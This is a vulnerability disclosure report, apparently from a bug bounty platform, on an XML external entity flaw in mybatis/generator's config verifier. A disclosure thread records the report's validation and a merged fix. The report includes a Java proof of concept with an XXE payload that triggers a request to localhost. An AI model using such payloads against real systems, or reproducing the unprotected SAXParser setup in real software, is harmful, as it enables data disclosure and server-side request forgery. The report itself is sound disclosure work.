Improper Restriction of XML External Entity Reference in mybatis/generator

Valid

Reported on

Jan 16th 2022


Description

The isConfigFile() function makes use of SAXParser generated from a SAXParserFactory with no FEATURE_SECURE_PROCESSING set, allowing for XXE attacks. In https://github.com/mybatis/generator/blob/f3907d3a4aad257e17ed3047bc4b089cdf5f92ca/eclipse/org.mybatis.generator.eclipse.ui/src/org/mybatis/generator/eclipse/ui/content/ConfigVerifyer.java#L99

        SAXParserFactory factory = SAXParserFactory.newInstance();
            factory.setValidating(false);
            SAXParser parser = factory.newSAXParser();        
            parser.parse(inputStream, this);

Proof of Concept

Extracted out the key function mentioned above to showcase how it can be exploited.

import javax.xml.parsers.SAXParser;
import javax.xml.parsers.SAXParserFactory;
import org.xml.sax.HandlerBase;

import java.io.ByteArrayInputStream;

public class Poc {

    public static void main(String[] args) {        
        try {
            String xmlpoc = "<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"http://127.0.0.1/\">]><foo>&xxe;</foo>";
            SAXParser saxParser = SAXParserFactory.newInstance().newSAXParser();
            saxParser.parse(new ByteArrayInputStream(xmlpoc.getBytes()), new HandlerBase());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Causes an SSRF to http://127.0.0.1

Impact

This vulnerability is capable of XXE to disclose data/conduct SSRF attacks etc.

We are processing your report and will contact the mybatis/generator team within 24 hours. 4 months ago
We created a GitHub Issue asking the maintainers to create a SECURITY.md 4 months ago
We have contacted a member of the mybatis/generator team and are waiting to hear back 4 months ago
ready-research modified the report
4 months ago
ready-research
4 months ago

Researcher


@admin Can you please validate this on behalf of maintainer and also fix. Thanks. https://github.com/mybatis/generator/pull/806#issuecomment-1015911381

Jamie Slome
4 months ago

Admin


@ready-research - it must be the maintainer that validates the report, as we require their visible claim on our platform to indicate that they believed the issue to be a vulnerability.

ready-research
4 months ago

Researcher


@jamieslome @admin As per the comments made by you in https://github.com/mybatis/generator/issues/803#issuecomment-1014708041 I responded and provided the details. And maintainer agreed to that and also merged my fix. And they are not comfortable with third-party's as per the comments. We can't force them to validate and they made a comment like I don't use huntr, "but perhaps you can link this PR to whatever entry is in that system."

So we should handle these cases with some other methods like validating on behalf of them.

It might be a process change for huntr, but it is still worth it in these cases. As the maintainer agreed and added a comment but perhaps you can link this PR to whatever entry is in that system(huntr).

Jamie Slome
4 months ago

Admin


Let me raise this with the team, and I will get back to you on this. Thanks for sharing all information related to this case 👍

We have sent a follow up to the mybatis/generator team. We will try again in 7 days. 4 months ago
ready-research
4 months ago

Researcher


@admin Any update on this?

We have sent a second follow up to the mybatis/generator team. We will try again in 10 days. 4 months ago
Jamie Slome validated this vulnerability 4 months ago
ready-research has been awarded the disclosure bounty
The fix bounty is now up for grabs
Jamie Slome confirmed that a fix has been merged on 7abca1 4 months ago
The fix bounty has been dropped
to join this conversation